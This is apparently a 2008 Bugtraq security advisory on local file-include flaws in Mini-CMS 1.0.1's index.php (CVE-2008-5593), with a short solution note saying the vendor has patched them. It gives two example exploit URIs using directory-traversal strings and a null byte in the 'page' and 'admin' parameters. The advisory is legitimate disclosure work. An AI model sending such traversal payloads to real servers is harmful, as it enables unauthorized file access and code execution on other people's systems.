Mini-CMS 'index.php' Multiple Local File Include Vulnerabilities

Bugtraq ID:	32680
Class:	Input Validation Error
CVE:	CVE-2008-5593
Remote:	Yes
Local:	No
Published:	Dec 08 2008 12:00AM
Updated:	Dec 18 2008 11:41PM
Credit:	cOndemned
Vulnerable:	BPowerHouse Mini-CMS 1.0.1
Not Vulnerable:

Mini-CMS 'index.php' Multiple Local File Include Vulnerabilities

Mini-CMS is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities using directory-traversal strings to execute arbitrary local PHP scripts within the context of the webserver process.

Mini-CMS 1.0.1 is vulnerable; other versions may also be affected.

Mini-CMS 'index.php' Multiple Local File Include Vulnerabilities

Attackers can exploit these issues via a browser.

The following example URIs are available:

http://www.example.com/[mini_cms_1.0.1_path]/index.php?page=../../../../[local_file]%00
http://www.example.com/[mini_cms_1.0.1_path]/index.php?admin=../../../../[local_file]%00

Mini-CMS 'index.php' Multiple Local File Include Vulnerabilities

Solution:
The vendor indicates that these issues have been patched. Please contact the vendor for details.

Mini-CMS 'index.php' Multiple Local File Include Vulnerabilities

References:

• Mini-CMS Homepage (BPowerHouse)